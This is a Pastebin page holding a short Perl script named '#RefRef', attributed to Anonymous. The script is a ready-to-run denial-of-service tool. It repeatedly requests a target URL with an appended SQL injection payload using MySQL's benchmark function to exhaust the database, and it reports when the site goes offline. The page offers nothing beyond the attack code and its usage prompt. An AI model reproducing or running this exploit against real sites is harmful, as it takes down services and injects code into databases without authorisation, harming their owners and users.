Advertisement
Guest User

#RefRef

a guest
Jan 20th, 2012
2,804
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.96 KB | None | 0 0
  1. #!usr/bin/perl
  2. #RefRef (C) Anonymous 2011
  3. #@by_Cantuaria
  4.  
  5. use LWP::UserAgent;
  6.  
  7. my $nave = LWP::UserAgent->new;
  8. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  9. $nave->timeout(5);
  10.  
  11. head();
  12. if($ARGV[0]) {
  13. now($ARGV[0]);
  14. } else {
  15. sintax();
  16. }
  17. copyright();
  18.  
  19. sub now {
  20. print "\n[+] Target : ".$_[0]."\n";
  21. print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
  22. while(true) {
  23. $SIG{INT} = \&adios;
  24. $code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
  25. unless($code->is_success) {
  26. print "[+] Web Off\n";
  27. copyright();
  28. }}}
  29.  
  30. sub adios {
  31. print "\n[+] Stoping attack\n";
  32. copyright();
  33. }
  34.  
  35. sub head {
  36. print "\n\n-- == #RefRef == --\n\n";
  37. }
  38.  
  39. sub copyright {
  40. print "\n\n-- == RefRef == --\n\n";
  41. exit(1);
  42. }
  43.  
  44. sub sintax {
  45. print "\n[+] Sintax : $0 \n";
  46. }
  47.  
  48. sub toma {
  49. return $nave->get($_[0]);
  50. }
  51.  
  52. # ¿ The End ?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement